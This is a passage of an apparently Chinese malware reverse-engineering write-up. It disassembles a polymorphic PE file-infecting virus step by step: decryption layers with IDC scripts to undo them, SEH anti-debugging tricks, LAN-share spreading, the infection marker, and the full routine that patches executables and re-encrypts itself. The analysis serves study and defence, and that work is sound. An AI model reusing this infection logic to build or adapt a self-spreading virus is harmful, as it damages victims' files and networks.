004120FF 58     POP EAX

00412100 BE 1F114000  MOV ESI,CLSPACK1.0040111F

00412105 BB FF104000  MOV EBX,CLSPACK1.004010FF

0041210A 2BF3    SUB ESI,EBX

0041210C 03F0    ADD ESI,EAX       \\解密起始地址

0041210E B9 0A0C0000  MOV ECX,0C0A       \\长度

00412113 8106 B2C430E1 ADD DWORD PTR DS:[ESI],E130C4B2 \\Key

00412119 83C6 04   ADD ESI,4

0041211C ^E2 F5    LOOPD SHORT CLSPACK1.00412113

0041211E 61     POPAD        \\这里F2下断点,F9,Shift+F9 停在这

下面是第四次解密的IDC脚本:

auto RegEsi;

auto Key;

auto RegEax;

auto i;

auto Data;

RegEsi=0x41211f;

Key=0xe130c4b2;

RegEax=0xc0a;

for (i=0;i

{

Data=Dword(i+RegEsi)+Key;

PatchDword(i+RegEsi,Data);

}

5.第五次解密

00412126 58     POP EAX

00412127 83C0 1B   ADD EAX,1B

0041212A 50     PUSH EAX

0041212B 64:67:FF36 0000 PUSH DWORD PTR FS:[0]  \\SEH陷井

00412131 64:67:8926 0000 MOV DWORD PTR FS:[0],ESP

00412137 B8 FFFFFFFF  MOV EAX,-1

0041213C C600 CC   MOV BYTE PTR DS:[EAX],0CC \\产生异常

0041213F FFE0    JMP EAX

00412141 64:67:A1 0000 MOV EAX,DWORD PTR FS:[0]

00412146 8B20    MOV ESP,DWORD PTR DS:[EAX]

00412148 64:67:8F06 0000 POP DWORD PTR FS:[0]   \\恢复SEH

0041214E 58     POP EAX

0041214F 58     POP EAX

00412150 E8 00000000  CALL CLSPACK1.00412155

00412155 58     POP EAX

00412156 BE 76114000  MOV ESI,CLSPACK1.00401176

0041215B BB 55114000  MOV EBX,CLSPACK1.00401155

00412160 2BF3    SUB ESI,EBX

00412162 03F0    ADD ESI,EAX     \\解密起始地址

00412164 B9 F50B0000  MOV ECX,0BF5     \\长度

00412169 8B06    MOV EAX,DWORD PTR DS:[ESI] \\

0041216B C1C0 10   ROL EAX,10      \\解密

0041216E 8906    MOV DWORD PTR DS:[ESI],EAX

00412170 83C6 04   ADD ESI,4

00412173 ^E2 F4    LOOPD SHORT CLSPACK1.00412169

00412175 61     POPAD        \\这里F2下断点,F9,Shift+F9 停在这

下面是第五次解密的IDC脚本:

auto RegEsi;

auto RegEax;

auto i;

auto Data,Temp1,Temp2;

RegEsi=0x412176;

RegEax=0xbf5;

for (i=0;i

{

Temp1=Dword(i+RegEsi);

Temp1=Temp1<<0x10;

Temp1=Temp1&0xffff0000;

Temp2=Dword(i+RegEsi);

Temp2=Temp2>>0x10;

Temp2=Temp2&0xffff;

Data=Temp1|Temp2;

PatchDword(i+RegEsi,Data);

}

6.在当前进程堆中分配8000H字节空间,并把病毒代码复制过去,并跳到堆中执行

004122B4 50     PUSH EAX

004122B5 52     PUSH EDX

004122B6 68 00800000  PUSH 8000

004122BB 6A 09    PUSH 9

004122BD 53     PUSH EBX

004122BE FFD1    CALL ECX    \\RtlAllocateHeap

\\在进程堆中分配8000H字节空间

004122C0 8BC8    MOV ECX,EAX

004122C2 0BC0    OR EAX,EAX

004122C4 5A     POP EDX

004122C5 58     POP EAX

004122C6 0F84 EA2D0000 JE CLSPACK1.004150B6

004122CC 50     PUSH EAX

004122CD 51     PUSH ECX

004122CE 51     PUSH ECX

004122CF 6A 09    PUSH 9

004122D1 53     PUSH EBX

004122D2 FFD2    CALL EDX

004122D4 3D 00800000  CMP EAX,8000

004122D9 0F85 D72D0000 JNZ CLSPACK1.004150B6

004122DF 59     POP ECX

004122E0 58     POP EAX

004122E1 57     PUSH EDI

004122E2 50     PUSH EAX

004122E3 8BF9    MOV EDI,ECX

004122E5 57     PUSH EDI

004122E6 B8 FC124000  MOV EAX,CLSPACK1.004012FC           ; ASCII “runtime error ”

004122EB 2D 00104000  SUB EAX,<&ADVAPI32.RegSetValueExA>

004122F0 03C7    ADD EAX,EDI

004122F2 B9 4A310000  MOV ECX,314A          \\需复制代码的长度

004122F7 FC     CLD

004122F8 F3:A4    REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[ESI] \\复制

004122FA FFE0    JMP EAX            \\跳到堆中执行

7.判断当前系统中是否有一个名为“DELPHI”的事件,如果存在则转12 否则转8

则解密原宿主程序代码.

001364D0 68 04010000  PUSH 104

001364D5 8D87 54270000 LEA EAX,DWORD PTR DS:[EDI+2754]

001364DB 50     PUSH EAX

001364DC 6A 00    PUSH 0

001364DE FF97 912A0000 CALL DWORD PTR DS:[EDI+2A91]

001364E4 8D87 D8290000 LEA EAX,DWORD PTR DS:[EDI+29D8]

001364EA 50     PUSH EAX

001364EB 6A 01    PUSH 1

001364ED 68 03001F00  PUSH 1F0003

001364F2 FF97 952A0000 CALL DWORD PTR DS:[EDI+2A95] \\OpenEvent

001364F8 8987 5C290000 MOV DWORD PTR DS:[EDI+295C],EAX

001364FE 83F8 00   CMP EAX,0

00136501 74 0C    JE SHORT 0013650F    \\如果当前没有DELPHI事件则跳

\\这个跳转非常关键

\\它决定是走病毒流程还是原宿主程序的流程

00136503 50     PUSH EAX

00136504 FF97 792A0000 CALL DWORD PTR DS:[EDI+2A79]

0013650A E9 AF2B0000  JMP 001390BE

0013650F 8D87 D8290000 LEA EAX,DWORD PTR DS:[EDI+29D8]

00136515 50     PUSH EAX

00136516 6A 01    PUSH 1

00136518 6A 00    PUSH 0

0013651A 6A 00    PUSH 0

0013651C FF97 992A0000 CALL DWORD PTR DS:[EDI+2A99] \\CreateEvent 创建一个名为“DELPHI”的事件

00136522 8987 5C290000 MOV DWORD PTR DS:[EDI+295C],EAX

00136528 57     PUSH EDI

00136529 8D87 70290000 LEA EAX,DWORD PTR DS:[EDI+2970]

0013652F 50     PUSH EAX

00136530 FF97 ED2A0000 CALL DWORD PTR DS:[EDI+2AED]

00136536 5F     POP EDI

00136537 8D87 60290000 LEA EAX,DWORD PTR DS:[EDI+2960]

0013653D 50     PUSH EAX

0013653E 8D87 70290000 LEA EAX,DWORD PTR DS:[EDI+2970]

00136544 50     PUSH EAX

00136545 6A 00    PUSH 0

00136547 6A 00    PUSH 0

00136549 6A 20    PUSH 20

0013654B 6A 00    PUSH 0

0013654D 6A 00    PUSH 0

0013654F 6A 00    PUSH 0

00136551 FF97 CD2A0000 CALL DWORD PTR DS:[EDI+2ACD] \\\\GetCommandLine

00136557 50     PUSH EAX

00136558 8D87 54270000 LEA EAX,DWORD PTR DS:[EDI+2754]

0013655E 50     PUSH EAX

0013655F FF97 852A0000 CALL DWORD PTR DS:[EDI+2A85] \\CreateProcess 自身全路径名

00136565 E8 00000000  CALL 0013656A

0013656A 58     POP EAX

0013656B 60     PUSHAD

0013656C 8D88 32000000 LEA ECX,DWORD PTR DS:[EAX+32] \\这是一个变相的SEH安装

00136572 51     PUSH ECX

00136573 66:8CDA   MOV DX,DS

00136576 0FA0    PUSH FS

00136578 1F     POP DS

00136579 BB 00000000  MOV EBX,0

0013657E FF33    PUSH DWORD PTR DS:[EBX]

00136580 8BEC    MOV EBP,ESP

00136582 892B    MOV DWORD PTR DS:[EBX],EBP

00136584 66:8EDA   MOV DS,DX

00136587 57     PUSH EDI

00136588 FF97 E52A0000 CALL DWORD PTR DS:[EDI+2AE5]

0013658E 5F     POP EDI

0013658F 57     PUSH EDI

00136590 6A 01    PUSH 1

00136592 50     PUSH EAX

00136593 FF97 E92A0000 CALL DWORD PTR DS:[EDI+2AE9] \\这里会产生异常

00136599 5F     POP EDI

0013659A EB 0F    JMP SHORT 001365AB

0013659C 33DB    XOR EBX,EBX      \\这里F2下断点,F9,shift+F9

0013659E 66:8CDA   MOV DX,DS

001365A1 0FA0    PUSH FS

001365A3 1F     POP DS

001365A4 8B03    MOV EAX,DWORD PTR DS:[EBX]

001365A6 66:8EDA   MOV DS,DX

001365A9 8B20    MOV ESP,DWORD PTR DS:[EAX]

001365AB 33DB    XOR EBX,EBX

001365AD 66:8CDA   MOV DX,DS

8.枚举局域网共享资源,并感染之

9.查找C-Z的固定磁盘,

a.其中包含:RUNDLL32\RUNONCE\RAV\LSASS\SERVICES\WINLOGON\SPOOLSV

MSTASK\RPCSS\AVCONSOL字符串的文件不感染.

b.小于8K的文件不感染.

c.系统目录下的文件不感染.

10当找到一个EXE文件时,首先判断是否是合法的PE文件,然生判断是否是已经感染文件

(以PE文件结构中的TimeDateStamp+1处的两个字节是否等于C354H来判断),如果

等于则继续下一个文件.否则转11

11.具体的感染过程如下:(由于是在最后一次解密后DUMP出来的,所以地址跟OD中的不一样

但指令和代码功能是一样的)

另:加密病毒代码和原宿主程序代码的Key由原宿主程序TimeDateStamp算得

00412A60 66:837E 5C 02 CMP WORD PTR DS:[ESI+5C],2 \\WINDOWS系统

00412A65 0F85 7F040000 JNZ CLSPACK.00412EEA

00412A6B 8B46 08   MOV EAX,DWORD PTR DS:[ESI+8] \\TimeDateStamp

00412A6E 83F8 00   CMP EAX,0

00412A71 75 21    JNZ SHORT CLSPACK.00412A94  \\在TimeDataStamp不为0的情况下用它用密钥,否则用E4C3542D为密钥

00412A73 B8 2D54C3E4  MOV EAX,E4C3542D     \\密钥呀 E4C3542D

00412A78 C787 7F100000 CA>MOV DWORD PTR DS:[EDI+107F],2ACA

00412A82 C787 85100000 7C>MOV DWORD PTR DS:[EDI+1085],67C

00412A8C 8946 08   MOV DWORD PTR DS:[ESI+8],EAX

00412A8F E9 C3000000  JMP CLSPACK.00412B57

00412A94 8987 AA300000 MOV DWORD PTR DS:[EDI+30AA],EAX \\下面这段关键呀

00412A9A 50     PUSH EAX

00412A9B 53     PUSH EBX

00412A9C 35 DF6A45D3  XOR EAX,D3456ADF     \\D3456ADF

00412AA1 8987 4A100000 MOV DWORD PTR DS:[EDI+104A],EAX

00412AA7 BB FFFAFFFF  MOV EBX,-501

00412AAC 2BD8    SUB EBX,EAX

00412AAE 899F 50100000 MOV DWORD PTR DS:[EDI+1050],EBX

00412AB4 5B     POP EBX

00412AB5 58     POP EAX

00412AB6 53     PUSH EBX

00412AB7 51     PUSH ECX

00412AB8 E8 FB060000  CALL CLSPACK.004131B8 \\\(TimeDateStamp*0x7FFFFFFF+1)%-5=EAX

其中TimeDataStamp为EAX

00412ABD 8BD8    MOV EBX,EAX

00412ABF C1EB 08   SHR EBX,8

00412AC2 50     PUSH EAX

00412AC3 53     PUSH EBX

00412AC4 51     PUSH ECX

00412AC5 52     PUSH EDX

00412AC6 8BC3    MOV EAX,EBX

00412AC8 8BCB    MOV ECX,EBX

00412ACA 25 FF000000  AND EAX,0FF

00412ACF 50     PUSH EAX       \\这段代码应该是变形引擎的随机数选择段

00412AD0 C1E8 04   SHR EAX,4

00412AD3 24 07    AND AL,7

00412AD5 3C 05    CMP AL,5

00412AD7 76 02    JBE SHORT CLSPACK.00412ADB

00412AD9 2C 02    SUB AL,2

00412ADB 8AD8    MOV BL,AL

00412ADD 58     POP EAX

00412ADE 24 07    AND AL,7

00412AE0 3C 05    CMP AL,5

00412AE2 76 02    JBE SHORT CLSPACK.00412AE6

00412AE4 2C 04    SUB AL,4

00412AE6 38D8    CMP AL,BL

00412AE8 75 34    JNZ SHORT CLSPACK.00412B1E

00412AEA 8BD9    MOV EBX,ECX

00412AEC C1EB 08   SHR EBX,8

00412AEF 8BC3    MOV EAX,EBX

00412AF1 25 FF000000  AND EAX,0FF

00412AF6 50     PUSH EAX

00412AF7 C1E8 04   SHR EAX,4

00412AFA 24 07    AND AL,7

00412AFC 3C 05    CMP AL,5

00412AFE 76 02    JBE SHORT CLSPACK.00412B02

00412B00 2C 02    SUB AL,2

00412B02 8AD8    MOV BL,AL

00412B04 58     POP EAX

00412B05 24 07    AND AL,7

00412B07 3C 05    CMP AL,5

00412B09 76 02    JBE SHORT CLSPACK.00412B0D

00412B0B 2C 04    SUB AL,4

00412B0D 38D8    CMP AL,BL

00412B0F 75 0D    JNZ SHORT CLSPACK.00412B1E

00412B11 3C 05    CMP AL,5

00412B13 74 04    JE SHORT CLSPACK.00412B19

00412B15 FEC3    INC BL

00412B17 EB 05    JMP SHORT CLSPACK.00412B1E

00412B19 80E2 03   AND DL,3

00412B1C 8ADA    MOV BL,DL

00412B1E 83E0 07   AND EAX,7

00412B21 83E3 07   AND EBX,7

00412B24 83E1 07   AND ECX,7

00412B27 E8 6C050000  CALL CLSPACK.00413098  \\这个CALL根椐上面产生的随机数产生随机代码,(里面包含一张表)

00412B2C 5A     POP EDX

00412B2D 59     POP ECX

00412B2E 5B     POP EBX

00412B2F 58     POP EAX

00412B30 81E3 FF0F0000 AND EBX,0FFF

00412B36 899F 7F100000 MOV DWORD PTR DS:[EDI+107F],EBX

00412B3C B9 46310000  MOV ECX,3146

00412B41 2BCB    SUB ECX,EBX

00412B43 898F 85100000 MOV DWORD PTR DS:[EDI+1085],ECX

00412B49 59     POP ECX

00412B4A 5B     POP EBX

00412B4B 8987 8F100000 MOV DWORD PTR DS:[EDI+108F],EAX

00412B51 66:C746 09 54C3 MOV WORD PTR DS:[ESI+9],0C354  \\写入感染标志,这个位置为PE文件的TimeDateStamp处

00412B57 8B46 28   MOV EAX,DWORD PTR DS:[ESI+28]  \\原AddressOfEntryPoint

00412B5A 8987 5F060000 MOV DWORD PTR DS:[EDI+65F],EAX \\呵呵,在解密后的病毒+65F处可以看见

可爱的入口地址

00412B60 8B46 38   MOV EAX,DWORD PTR DS:[ESI+38] \\SectionAlignment

00412B63 8987 942E0000 MOV DWORD PTR DS:[EDI+2E94],EAX

00412B69 8B46 34   MOV EAX,DWORD PTR DS:[ESI+34] \\ImageBase

00412B6C 8987 B2300000 MOV DWORD PTR DS:[EDI+30B2],EAX

00412B72 8D5E 18   LEA EBX,DWORD PTR DS:[ESI+18] \\Magic

00412B75 33D2    XOR EDX,EDX

00412B77 66:8B56 14  MOV DX,WORD PTR DS:[ESI+14]  \\SizeOfOptionHeader

00412B7B 03DA    ADD EBX,EDX       \\EBX->第一个节表

00412B7D 33C9    XOR ECX,ECX

00412B7F 66:8B4E 06  MOV CX,WORD PTR DS:[ESI+6]   \\NumberOfSections

00412B83 8B46 28   MOV EAX,DWORD PTR DS:[ESI+28]  \\AddressofEntryPoint

00412B86 8B53 0C   MOV EDX,DWORD PTR DS:[EBX+C]  \\VirtualAddress

00412B89 3BC2    CMP EAX,EDX

00412B8B 72 07    JB SHORT CLSPACK.00412B94   \\如果AddressOfEntryPoint

00412B8D 0353 08   ADD EDX,DWORD PTR DS:[EBX+8]  \\VirtualSize

00412B90 3BC2    CMP EAX,EDX

00412B92 76 18    JBE SHORT CLSPACK.00412BAC   \\如果入口点在当前节中则跳

00412B94 83C3 28   ADD EBX,28

00412B97 ^E2 EA    LOOPD SHORT CLSPACK.00412B83

00412B99 80BF A02E0000 01 CMP BYTE PTR DS:[EDI+2EA0],1

00412BA0 74 05    JE SHORT CLSPACK.00412BA7

00412BA2 E9 43030000  JMP CLSPACK.00412EEA

00412BA7 E9 F5190000  JMP CLSPACK.004145A1

00412BAC 50     PUSH EAX

00412BAD 52     PUSH EDX

00412BAE 05 00020000  ADD EAX,200

00412BB3 8B53 0C   MOV EDX,DWORD PTR DS:[EBX+C] \\VirtualAddress

00412BB6 0353 10   ADD EDX,DWORD PTR DS:[EBX+10] \\SizeOfRawData

00412BB9 3BC2    CMP EAX,EDX

00412BBB 5A     POP EDX

00412BBC 58     POP EAX

00412BBD 77 24    JA SHORT CLSPACK.00412BE3

00412BBF 50     PUSH EAX

00412BC0 0346 34   ADD EAX,DWORD PTR DS:[ESI+34] \\ImageBase

00412BC3 8987 18060000 MOV DWORD PTR DS:[EDI+618],EAX \\ImageBase+AddressOfEntryPoint

00412BC9 8B43 24   MOV EAX,DWORD PTR DS:[EBX+24] \\Characteristics

00412BCC 0D 00000020  OR EAX,20000000      \\IMAGE_SCN_MEM_EXECUTE

00412BD1 8943 24   MOV DWORD PTR DS:[EBX+24],EAX \\写回

00412BD4 58     POP EAX         \\AddressOfEntryPoint

00412BD5 2B43 0C   SUB EAX,DWORD PTR DS:[EBX+C]  \\EAX-VirtualAddress

00412BD8 0343 14   ADD EAX,DWORD PTR DS:[EBX+14]  \\PointerToRawData

00412BDB 8987 A22E0000 MOV DWORD PTR DS:[EDI+2EA2],EAX \\EAX->FileOffset

00412BE1 EB 2F    JMP SHORT CLSPACK.00412C12

00412BE3 50     PUSH EAX

00412BE4 52     PUSH EDX

00412BE5 8B53 0C   MOV EDX,DWORD PTR DS:[EBX+C]

00412BE8 8956 28   MOV DWORD PTR DS:[ESI+28],EDX

00412BEB 0356 34   ADD EDX,DWORD PTR DS:[ESI+34]

00412BEE 8997 18060000 MOV DWORD PTR DS:[EDI+618],EDX

00412BF4 8B43 24   MOV EAX,DWORD PTR DS:[EBX+24]

00412BF7 0D 00000020  OR EAX,20000000

00412BFC 8943 24   MOV DWORD PTR DS:[EBX+24],EAX

00412BFF 5A     POP EDX

00412C00 58     POP EAX

00412C01 8B43 14   MOV EAX,DWORD PTR DS:[EBX+14]

00412C04 8987 A22E0000 MOV DWORD PTR DS:[EDI+2EA2],EAX

00412C0A 8987 8C2E0000 MOV DWORD PTR DS:[EDI+2E8C],EAX

00412C10 EB 79    JMP SHORT CLSPACK.00412C8B

00412C12 8D5E 18   LEA EBX,DWORD PTR DS:[ESI+18] \\ESI->'PE'

00412C15 33D2    XOR EDX,EDX

00412C17 66:8B56 14  MOV DX,WORD PTR DS:[ESI+14]

00412C1B 03DA    ADD EBX,EDX       \\EBX->.text

00412C1D 33C9    XOR ECX,ECX

00412C1F 66:8B4E 06  MOV CX,WORD PTR DS:[ESI+6]  \\NumberOfSections

00412C23 8B43 10   MOV EAX,DWORD PTR DS:[EBX+10] \\SizeOfRawData

00412C26 2B43 08   SUB EAX,DWORD PTR DS:[EBX+8]  \\VirtualSize

00412C29 3B87 AE300000 CMP EAX,DWORD PTR DS:[EDI+30AE] \\CMP EAX,200

00412C2F 7D 37    JGE SHORT CLSPACK.00412C68

00412C31 8B46 28   MOV EAX,DWORD PTR DS:[ESI+28]

00412C34 8B53 0C   MOV EDX,DWORD PTR DS:[EBX+C]

00412C37 3BC2    CMP EAX,EDX

00412C39 72 07    JB SHORT CLSPACK.00412C42

00412C3B 0353 08   ADD EDX,DWORD PTR DS:[EBX+8]

00412C3E 3BC2    CMP EAX,EDX

00412C40 76 18    JBE SHORT CLSPACK.00412C5A

00412C42 83C3 28   ADD EBX,28

00412C45 ^E2 DC    LOOPD SHORT CLSPACK.00412C23

00412C47 80BF A02E0000 01 CMP BYTE PTR DS:[EDI+2EA0],1

00412C4E 74 05    JE SHORT CLSPACK.00412C55

00412C50 E9 95020000  JMP CLSPACK.00412EEA

00412C55 E9 47190000  JMP CLSPACK.004145A1

00412C5A 2B43 0C   SUB EAX,DWORD PTR DS:[EBX+C]

00412C5D 0343 14   ADD EAX,DWORD PTR DS:[EBX+14]

00412C60 8987 8C2E0000 MOV DWORD PTR DS:[EDI+2E8C],EAX //EPOFileOffset

00412C66 EB 23    JMP SHORT CLSPACK.00412C8B

00412C68 8B43 14   MOV EAX,DWORD PTR DS:[EBX+14]

00412C6B 0343 08   ADD EAX,DWORD PTR DS:[EBX+8]

00412C6E 8987 8C2E0000 MOV DWORD PTR DS:[EDI+2E8C],EAX

00412C74 8B43 0C   MOV EAX,DWORD PTR DS:[EBX+C]

00412C77 0343 08   ADD EAX,DWORD PTR DS:[EBX+8]

00412C7A 8946 28   MOV DWORD PTR DS:[ESI+28],EAX

00412C7D 50     PUSH EAX

00412C7E 8B43 08   MOV EAX,DWORD PTR DS:[EBX+8]

00412C81 0387 AE300000 ADD EAX,DWORD PTR DS:[EDI+30AE]

00412C87 8943 08   MOV DWORD PTR DS:[EBX+8],EAX

00412C8A 58     POP EAX

00412C8B 83C3 28   ADD EBX,28

00412C8E ^E2 FB    LOOPD SHORT CLSPACK.00412C8B \\定位到最后一个节上

00412C90 83EB 28   SUB EBX,28

00412C93 C743 24 400000C0 MOV DWORD PTR DS:[EBX+24],C0000040 \\改节属性

00412C9A 8B43 10   MOV EAX,DWORD PTR DS:[EBX+10]  \\SizeOfRawData

00412C9D 50     PUSH EAX

00412C9E 0343 0C   ADD EAX,DWORD PTR DS:[EBX+C]   \\VirtualAddress

00412CA1 0346 34   ADD EAX,DWORD PTR DS:[ESI+34]  \\Image

00412CA4 51     PUSH ECX

00412CA5 8A4E 08   MOV CL,BYTE PTR DS:[ESI+8]   \\TimeDateStamp

00412CA8 80E1 1F   AND CL,1F

00412CAB 888F 8B100000 MOV BYTE PTR DS:[EDI+108B],CL

00412CB1 D3C8    ROR EAX,CL

00412CB3 59     POP ECX

00412CB4 8987 7A100000 MOV DWORD PTR DS:[EDI+107A],EAX \\020CA000H

00412CBA B9 00320000  MOV ECX,3200

00412CBF 014B 10   ADD DWORD PTR DS:[EBX+10],ECX \\把最后一节大小加3200H

00412CC2 014E 20   ADD DWORD PTR DS:[ESI+20],ECX \\SizeOfinitializeData+3200H

00412CC5 8B43 10   MOV EAX,DWORD PTR DS:[EBX+10]

00412CC8 3B43 08   CMP EAX,DWORD PTR DS:[EBX+8]

00412CCB 76 03    JBE SHORT CLSPACK.00412CD0

00412CCD 8943 08   MOV DWORD PTR DS:[EBX+8],EAX

00412CD0 05 FF0F0000  ADD EAX,0FFF

00412CD5 25 00F0FFFF  AND EAX,FFFFF000

00412CDA 0343 0C   ADD EAX,DWORD PTR DS:[EBX+C]

00412CDD 8946 50   MOV DWORD PTR DS:[ESI+50],EAX \\SizeOfImage

00412CE0 52     PUSH EDX

00412CE1 8B53 08   MOV EDX,DWORD PTR DS:[EBX+8]

00412CE4 0353 0C   ADD EDX,DWORD PTR DS:[EBX+C]

00412CE7 3BC2    CMP EAX,EDX

00412CE9 73 03    JNB SHORT CLSPACK.00412CEE

00412CEB 8956 50   MOV DWORD PTR DS:[ESI+50],EDX

00412CEE 5A     POP EDX

00412CEF 5A     POP EDX

00412CF0 0353 14   ADD EDX,DWORD PTR DS:[EBX+14]

00412CF3 8B9F 882E0000 MOV EBX,DWORD PTR DS:[EDI+2E88] \\hFile

00412CF9 80BF A02E0000 01 CMP BYTE PTR DS:[EDI+2EA0],1

00412D00 75 05    JNZ SHORT CLSPACK.00412D07

00412D02 E9 75170000  JMP CLSPACK.0041447C

00412D07 51     PUSH ECX

00412D08 52     PUSH EDX

00412D09 6A 00    PUSH 0

00412D0B 53     PUSH EBX

00412D0C FF97 B12A0000 CALL DWORD PTR DS:[EDI+2AB1] \\GetFileSize

00412D12 5A     POP EDX

00412D13 59     POP ECX

00412D14 83F8 00   CMP EAX,0

00412D17 0F84 CD010000 JE CLSPACK.00412EEA

00412D1D 8BDA    MOV EBX,EDX

00412D1F 81C3 00020000 ADD EBX,200

00412D25 3BC3    CMP EAX,EBX

00412D27 0F87 BD010000 JA CLSPACK.00412EEA  \\不符合感染条件则跳(空间不够大)

00412D2D 60     PUSHAD

00412D2E 8B9F 882E0000 MOV EBX,DWORD PTR DS:[EDI+2E88]

00412D34 6A 00    PUSH 0

00412D36 6A 00    PUSH 0

00412D38 8B97 A22E0000 MOV EDX,DWORD PTR DS:[EDI+2EA2]

00412D3E 52     PUSH EDX

00412D3F 53     PUSH EBX

00412D40 FF97 892A0000 CALL DWORD PTR DS:[EDI+2A89] \\SetFilePointer

00412D46 83F8 00   CMP EAX,0

00412D49 61     POPAD

00412D4A 0F84 9A010000 JE CLSPACK.00412EEA

00412D50 60     PUSHAD

00412D51 6A 00    PUSH 0

00412D53 8D87 9C2E0000 LEA EAX,DWORD PTR DS:[EDI+2E9C]

00412D59 50     PUSH EAX

00412D5A B8 04020000  MOV EAX,204

00412D5F 50     PUSH EAX

00412D60 8D87 A62E0000 LEA EAX,DWORD PTR DS:[EDI+2EA6]

00412D66 50     PUSH EAX

00412D67 8B9F 882E0000 MOV EBX,DWORD PTR DS:[EDI+2E88]

00412D6D 53     PUSH EBX

00412D6E FF97 9D2A0000 CALL DWORD PTR DS:[EDI+2A9D] \\ReadFileA

00412D74 83F8 00   CMP EAX,0

00412D77 61     POPAD

00412D78 0F84 6C010000 JE CLSPACK.00412EEA

00412D7E 83BF A6300000 00 CMP DWORD PTR DS:[EDI+30A6],0

00412D85 75 0A    JNZ SHORT CLSPACK.00412D91

00412D87 C787 A6300000 6A>MOV DWORD PTR DS:[EDI+30A6],23EDA56A

00412D91 60     PUSHAD

00412D92 8B9F 882E0000 MOV EBX,DWORD PTR DS:[EDI+2E88]

00412D98 6A 00    PUSH 0

00412D9A 6A 00    PUSH 0

00412D9C 8B97 A22E0000 MOV EDX,DWORD PTR DS:[EDI+2EA2]

00412DA2 52     PUSH EDX

00412DA3 53     PUSH EBX

00412DA4 FF97 892A0000 CALL DWORD PTR DS:[EDI+2A89] \\SetFilePointer

00412DAA 83F8 00   CMP EAX,0

00412DAD 61     POPAD

00412DAE 0F84 36010000 JE CLSPACK.00412EEA

00412DB4 60     PUSHAD

00412DB5 6A 00    PUSH 0

00412DB7 8D87 9C2E0000 LEA EAX,DWORD PTR DS:[EDI+2E9C]

00412DBD 50     PUSH EAX

00412DBE B8 00020000  MOV EAX,200

00412DC3 50     PUSH EAX

00412DC4 8D87 4E3F0000 LEA EAX,DWORD PTR DS:[EDI+3F4E]

00412DCA 50     PUSH EAX

00412DCB 8B9F 882E0000 MOV EBX,DWORD PTR DS:[EDI+2E88]

00412DD1 53     PUSH EBX

00412DD2 FF97 7D2A0000 CALL DWORD PTR DS:[EDI+2A7D] \\WriteFileA

00412DD8 83F8 00   CMP EAX,0

00412DDB 61     POPAD

00412DDC 0F84 08010000 JE CLSPACK.00412EEA

00412DE2 E8 F5030000  CALL CLSPACK.004131DC \\Xor [ESI],EAX len=1FCH

00412DE7 E8 21050000  CALL CLSPACK.0041330D \\ROR EAX,10H len=BF5H

00412DEC E8 3B050000  CALL CLSPACK.0041332C \\这里是五层加密的地方

00412DF1 E8 F9040000  CALL CLSPACK.004132EF

00412DF6 E8 C3040000  CALL CLSPACK.004132BE  \\跟前面的五次解密顺序相反

00412DFB 60     PUSHAD

00412DFC E8 92030000  CALL CLSPACK.00413193

00412E01 61     POPAD

00412E02 60     PUSHAD

00412E03 8B9F 882E0000 MOV EBX,DWORD PTR DS:[EDI+2E88]

00412E09 6A 00    PUSH 0

00412E0B 6A 00    PUSH 0

00412E0D 52     PUSH EDX

00412E0E 53     PUSH EBX

00412E0F FF97 892A0000 CALL DWORD PTR DS:[EDI+2A89]

00412E15 83F8 00   CMP EAX,0

00412E18 61     POPAD

00412E19 0F84 CB000000 JE CLSPACK.00412EEA

00412E1F 60     PUSHAD

00412E20 8B9F 882E0000 MOV EBX,DWORD PTR DS:[EDI+2E88]

00412E26 6A 00    PUSH 0

00412E28 8D87 9C2E0000 LEA EAX,DWORD PTR DS:[EDI+2E9C]

00412E2E 50     PUSH EAX

00412E2F 51     PUSH ECX

00412E30 8D87 4E3F0000 LEA EAX,DWORD PTR DS:[EDI+3F4E]

00412E36 50     PUSH EAX

00412E37 53     PUSH EBX

00412E38 FF97 7D2A0000 CALL DWORD PTR DS:[EDI+2A7D]

00412E3E 83F8 00   CMP EAX,0

00412E41 61     POPAD

00412E42 0F84 A2000000 JE CLSPACK.00412EEA

00412E48 60     PUSHAD

00412E49 8B9F 882E0000 MOV EBX,DWORD PTR DS:[EDI+2E88]

00412E4F 6A 00    PUSH 0

00412E51 6A 00    PUSH 0

00412E53 FFB7 902E0000 PUSH DWORD PTR DS:[EDI+2E90]

00412E59 53     PUSH EBX

00412E5A FF97 892A0000 CALL DWORD PTR DS:[EDI+2A89]

00412E60 83F8 00   CMP EAX,0

00412E63 61     POPAD

00412E64 0F84 80000000 JE CLSPACK.00412EEA

00412E6A 60     PUSHAD

00412E6B 8B9F 882E0000 MOV EBX,DWORD PTR DS:[EDI+2E88]

00412E71 6A 00    PUSH 0

00412E73 8D87 9C2E0000 LEA EAX,DWORD PTR DS:[EDI+2E9C]

00412E79 , ; 50     PUSH EAX

00412E7A 68 00040000  PUSH 400

00412E7F 8D87 4A310000 LEA EAX,DWORD PTR DS:[EDI+314A]

00412E85 50     PUSH EAX

00412E86 53     PUSH EBX

00412E87 FF97 7D2A0000 CALL DWORD PTR DS:[EDI+2A7D]

00412E8D 83F8 00   CMP EAX,0

00412E90 61     POPAD

00412E91 74 57    JE SHORT CLSPACK.00412EEA

00412E93 60     PUSHAD

00412E94 8B9F 882E0000 MOV EBX,DWORD PTR DS:[EDI+2E88]

00412E9A 6A 00    PUSH 0

00412E9C 6A 00    PUSH 0

00412E9E FFB7 8C2E0000 PUSH DWORD PTR DS:[EDI+2E8C]

00412EA4 53     PUSH EBX

00412EA5 FF97 892A0000 CALL DWORD PTR DS:[EDI+2A89]

00412EAB 83F8 00   CMP EAX,0

00412EAE 61     POPAD

00412EAF 74 39    JE SHORT CLSPACK.00412EEA

00412EB1 E8 0A050000  CALL CLSPACK.004133C0

00412EB6 E8 D20C0000  CALL CLSPACK.00413B8D

00412EBB E8 35030000  CALL CLSPACK.004131F5

00412EC0 60     PUSHAD

00412EC1 8B9F 882E0000 MOV EBX,DWORD PTR DS:[EDI+2E88]

00412EC7 6A 00    PUSH 0

00412EC9 8D87 9C2E0000 LEA EAX,DWORD PTR DS:[EDI+2E9C]

00412ECF 50     PUSH EAX

00412ED0 FFB7 AE300000 PUSH DWORD PTR DS:[EDI+30AE]

00412ED6 8D87 4A310000 LEA EAX,DWORD PTR DS:[EDI+314A]

00412EDC 50     PUSH EAX

00412EDD 53     PUSH EBX

00412EDE FF97 7D2A0000 CALL DWORD PTR DS:[EDI+2A7D]

00412EE4 83F8 00   CMP EAX,0

00412EE7 61     POPAD

00412EE8 74 00    JE SHORT CLSPACK.00412EEA

